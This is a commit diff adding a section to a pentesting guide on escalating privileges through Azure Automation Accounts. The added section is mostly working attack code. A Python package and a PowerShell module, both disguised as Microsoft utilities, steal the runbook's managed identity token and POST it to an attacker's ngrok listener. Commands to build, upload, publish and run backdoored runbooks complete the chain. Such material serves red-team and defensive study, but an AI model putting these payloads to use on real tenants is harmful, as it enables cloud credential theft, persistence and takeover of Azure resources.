Skip to content

Commit 9153166

Browse files
Update az-automation-accounts-privesc.md
The 2 following techniques demonstrate how privilege escalation can be done with modules and python packages in Azure involving automation accounts. Original research with screenshots and evidence can be provided upon request.
1 parent 42e19b5 commit 9153166

1 file changed

Lines changed: 284 additions & 0 deletions

File tree

src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md

Lines changed: 284 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges.
317317
{{#include ../../../banners/hacktricks-training.md}}
318318

319319

320+
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
321+
322+
#### Automation - Malicious Python Packages
323+
324+
Automation accounts support **custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the **same identity and permissions** as the runbook itself (like a system managed identity).
325+
326+
Having the ability to write to the automation account's module store, you can **backdoor a package** and get **persistent code execution** every time a runbook imports that module.
327+
328+
Additionally, this same process can be done for **custom runtime environments** and reassign an existing runbook to it.
329+
330+
> [!TIP]
331+
> This technique does not require modifying any existing runbook code. Once the malicious package is imported, **any runbook** that imports it will execute your payload automatically.
332+
333+
This command will disclose any python packages that exist:
334+
335+
```bash
336+
az rest --method GET \
337+
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
338+
--query "value[].{Name:name, Version:properties.version}" -o table
339+
```
340+
341+
Create the setup to compile the python package:
342+
343+
```bash
344+
cat > setup.py << 'EOF'
345+
import setuptools
346+
347+
with open("README.md", "r") as fh:
348+
long_description = fh.read()
349+
350+
setuptools.setup(
351+
name="az_log_helper",
352+
version="1.0.2",
353+
author="Azure Utilities",
354+
author_email="azutils@microsoft.com",
355+
description="Helper utilities for Azure Log Analytics integration.",
356+
long_description=long_description,
357+
long_description_content_type="text/markdown",
358+
packages=setuptools.find_packages(),
359+
python_requires='>=3.8',
360+
)
361+
EOF
362+
```
363+
364+
Create the `__init__.py` to import everything from az\_log\_helper and create the python script to **exfiltrate a managed identity token** to your listener:
365+
366+
```bash
367+
mkdir -p az_log_helper
368+
cat > az_log_helper/__init__.py << 'EOF'
369+
from .az_log_helper import *
370+
EOF
371+
372+
cat > az_log_helper/az_log_helper.py << 'EOF'
373+
import os
374+
import requests
375+
import json
376+
377+
endpoint_url = "https://<YOUR-NGROK-URL>/"
378+
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
379+
380+
if identity_endpoint:
381+
params = {
382+
'api-version': '2018-02-01',
383+
'resource': 'https://management.azure.com/'
384+
}
385+
headers = {
386+
'Metadata': 'true'
387+
}
388+
389+
try:
390+
response = requests.get(identity_endpoint, params=params, headers=headers)
391+
response.raise_for_status()
392+
token = response.json()
393+
requests.post(endpoint_url,
394+
headers={'Content-Type': 'application/json'},
395+
data=json.dumps({'token': token}))
396+
except requests.exceptions.RequestException:
397+
pass
398+
EOF
399+
```
400+
401+
Build the python package so it can be uploaded to Azure:
402+
403+
```bash
404+
pip install wheel --break-system-packages 2>/dev/null
405+
python3 setup.py bdist_wheel
406+
```
407+
408+
Provision a new runbook to execute the python package at runtime:
409+
410+
```bash
411+
NEW_RUNBOOK_PY="check-ssl-expiry"
412+
413+
az rest --method PUT \
414+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
415+
--body "{
416+
\"location\": \"centralus\",
417+
\"properties\": {
418+
\"runbookType\": \"Python3\",
419+
\"description\": \"SSL certificate expiry checker\",
420+
\"logProgress\": false,
421+
\"logVerbose\": false
422+
}
423+
}"
424+
```
425+
426+
Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook:
427+
428+
```bash
429+
cat > /tmp/py_runbook.py << 'EOF'
430+
import az_log_helper
431+
print("Log collection check complete.")
432+
EOF
433+
434+
az rest --method PUT \
435+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
436+
--headers "Content-Type=text/powershell" \
437+
--body @/tmp/py_runbook.py
438+
```
439+
440+
Publish the runbook:
441+
442+
```bash
443+
az automation runbook publish \
444+
--resource-group $RESOURCE_GROUP \
445+
--automation-account-name $AUTOMATION_ACCOUNT \
446+
--name $NEW_RUNBOOK_PY
447+
```
448+
449+
Fire the runbook:
450+
451+
```bash
452+
az rest --method PUT \
453+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
454+
--body "{
455+
\"properties\": {
456+
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
457+
}
458+
}"
459+
```
460+
461+
Once the runbook executes, the **managed identity token** is exfiltrated to your listener.
462+
463+
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
464+
465+
#### Automation - Malicious Modules
466+
467+
A minimal PowerShell module is just **two file types**: a `.psd1` manifest and a `.psm1` containing the code. The `.psd1` and `.psm1` filenames **must match the name of the `.zip`** exactly.
468+
469+
> [!TIP]
470+
> This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the **same privileges** as the runbook's managed identity.
471+
472+
The following command lists existing modules:
473+
474+
```bash
475+
az rest --method GET \
476+
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
477+
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
478+
```
479+
480+
Create the module manifest (`.psd1`):
481+
482+
```bash
483+
cat > <MODULE_NAME>.psd1 << 'EOF'
484+
@{
485+
RootModule = '<MODULE_NAME>.psm1'
486+
ModuleVersion = '2.1.0'
487+
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
488+
Author = 'Microsoft Corporation'
489+
CompanyName = 'Microsoft'
490+
Copyright = '(c) Microsoft Corporation. All rights reserved.'
491+
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
492+
CmdletsToExport = @()
493+
VariablesToExport = @()
494+
AliasesToExport = @()
495+
}
496+
EOF
497+
```
498+
499+
Create the module code (`.psm1`) with the **token exfiltration payload**:
500+
501+
```bash
502+
cat > <MODULE_NAME>.psm1 << 'EOF'
503+
function Invoke-AzNetworkDiagnostic {
504+
$SuppressAzurePowerShellBreakingChangeWarnings = $true
505+
Connect-AzAccount -Identity | Out-Null
506+
$token = Get-AzAccessToken | ConvertTo-Json
507+
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
508+
}
509+
510+
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
511+
EOF
512+
```
513+
514+
Zip the module and upload it via the Azure portal. **The `.zip` name must match the `.psd1` and `.psm1` filenames exactly.**
515+
516+
```bash
517+
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
518+
```
519+
520+
After uploading, verify the module is successfully imported:
521+
522+
```bash
523+
az rest --method GET \
524+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
525+
--query "properties.provisioningState"
526+
527+
# Expected output: "Succeeded"
528+
```
529+
530+
Get the location of the automation account and create a new runbook that imports the malicious module:
531+
532+
```bash
533+
LOCATION=$(az automation account show \
534+
--resource-group $RESOURCE_GROUP \
535+
--name $AUTOMATION_ACCOUNT \
536+
--query location -o tsv)
537+
538+
NEW_RUNBOOK="diagnostics-health-check"
539+
540+
az rest --method PUT \
541+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
542+
--body "{
543+
\"location\": \"${LOCATION}\",
544+
\"properties\": {
545+
\"runbookType\": \"PowerShell72\",
546+
\"description\": \"Network diagnostics health check\",
547+
\"logProgress\": false,
548+
\"logVerbose\": false
549+
}
550+
}"
551+
```
552+
553+
Upload runbook content that calls the backdoored module function:
554+
555+
```bash
556+
cat > /tmp/ps_runbook.ps1 << 'EOF'
557+
Import-Module <MODULE_NAME>
558+
Invoke-AzNetworkDiagnostic
559+
Write-Output "Diagnostics complete."
560+
EOF
561+
562+
az rest --method PUT \
563+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
564+
--headers "Content-Type=text/powershell" \
565+
--body @/tmp/ps_runbook.ps1
566+
```
567+
568+
Publish the runbook and fire a job:
569+
570+
```bash
571+
az automation runbook publish \
572+
--resource-group $RESOURCE_GROUP \
573+
--automation-account-name $AUTOMATION_ACCOUNT \
574+
--name $NEW_RUNBOOK
575+
576+
az rest --method PUT \
577+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
578+
--body "{
579+
\"properties\": {
580+
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
581+
}
582+
}"
583+
```
584+
585+
Within a minute the **managed identity token** is exfiltrated to your listener.
586+
587+
For troubleshooting, obtain the job ID and check the job streams for errors:
588+
589+
```bash
590+
# Get job ID from the job creation output, or list recent jobs
591+
JOB_ID=$(az rest --method PUT \
592+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
593+
--body "{
594+
\"properties\": {
595+
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
596+
}
597+
}" --query "name" -o tsv)
598+
599+
# Check job output streams
600+
az rest --method GET \
601+
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
602+
```
603+

0 commit comments

Comments
 (0)